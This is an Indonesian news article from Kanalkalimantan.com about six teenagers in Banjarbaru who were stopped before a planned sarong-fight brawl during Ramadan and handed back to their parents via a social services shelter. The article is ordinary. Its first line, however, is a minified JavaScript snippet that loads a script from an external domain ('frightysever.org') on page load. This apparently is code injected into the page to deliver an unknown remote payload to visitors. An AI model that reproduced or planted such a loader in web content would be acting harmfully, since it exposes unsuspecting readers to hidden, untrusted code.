(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Sekelompok remaja yang hendak tawuran perang sarung di kawasan Jalan Golf Landasan Ulin, berakhir dibawa ke rumah singgah Dinas Sosial Banjarbaru, Sabtu (16/3/2024) siang.
Remaja laki-laki berumur belasan tahun tersebut pada malam dini hari, diamankan oleh petugas patroli gabungan, saat hendak melakukan tawuran menggunakan sarung yang dimodifikasi.
Layaknya hendak ‘perang sarung’, mereka memodifikasi sebanyak tiga buah sarung menjadi alat pukul.
Kasi Opsdal Satpol PP Babjarbaru, Yanto Hidayat membeberkan, petugas patroli yang terdiri dari Satpol PP, Dishub hingga personel Polsek dan Polres Banjarbaru mendapati 6 remaja yang membawa tiga buah barang bukti berupa sarung.
Baca juga: Balap Liar di Banjarmasin Tengah Dibubarkan, Ada Indikasi Taruhan Uang
“Enam remaja tersebut kita indikasi berniat menggunakan barang bukti sarung yang dibikin seperti alat untuk pukul, kita amankan tiga buah,” ujar Kasi Opsdal Satpol PP Banjarbaru, Yanto Hidayat.
Dari pengakuan remaja itu, dikatakan Yanto, mereka ditantang untuk melakukan aksi tawuran perang sarung tersebut.
“Mereka mengakui bahwa mereka merasa ditantang untuk melakukan aksi tersebut,” ungkap dia.
Baca juga: Diduga Hendak Perang Sarung, Tujuh Remaja di Cempaka Terciduk Polisi
Petugas patroli mengamankan sekelompok remaja untuk dilakukan peneguran dan kemudian dibawa ke rumah singgah Dinsos Banjarbaru untuk dijemput oleh orangtuanya.
“Kita sempat titipkan dulu di rumah singgah dengan harapan orangtuanya mau datang,” sebutnya.
“Dan saat ini kita sudah menyerahkan kepada orangtuanya agar mereka memahami dan mengerti keadaan dan situasinya kenapa jadi kita amankan,” sambungnya.
Adapun dari hasil pendataan petugas, remaja tersebut rata-rata merupakan warga dari sekitar permukiman di Jalan Golf.
Sejumlah indikasi aksi kenakalan remaja di bulan Ramadan ini, mulai dari balap liar hingga tawuran, diakui Yanto perlu dilakukan penanganan serius.
Baca juga: Kebutuhan Penukaran Uang Tunai Naik, BI Kalsel Sediakan Rp3,06 Triliun
Selain melaksanakan patroli cipta kondisi bersama petugas gabungan lainnya, pihaknya mengimbau agar orangtua dapat memperhatikan jam pulang anak saat berada di luar rumah.
“Jangan sampai anak-anak dengan alasan keluar rumah ternyata malah melakukan kenakalan remaja. Orangtua harus bisa menggunakan handphone untuk dapat terus memantau dan mengawasi keberadaan anak-anaknya,” tegasnya. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, MARTAPURA - Rapat Paripurna beragendakan Jawaban Bupati atas Pemandangan Umum Fraksi-fraksi DPRD terhadap Rancangan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kesiapsiagaan Bencana dan antisipasi bencana di Kalimantan Selatan, Badan Penanggulangan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Mantan Wakil Gubernur Kalimantan Tengah Habib Ismail bin Yahya secara resmi… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi menghadiri acara halalbihalal gabungan pengajian… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Panitia Khusus (Pansus) II DPRD Kabupaten Kapuas melakukan kunjungan ke Kementerian… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Seorang lelaki asal Kabupaten Tanah Bumbu (Tanbu) Provinsi Kalimantan Selatan (Kalsel) berinisal… Read More
This website uses cookies.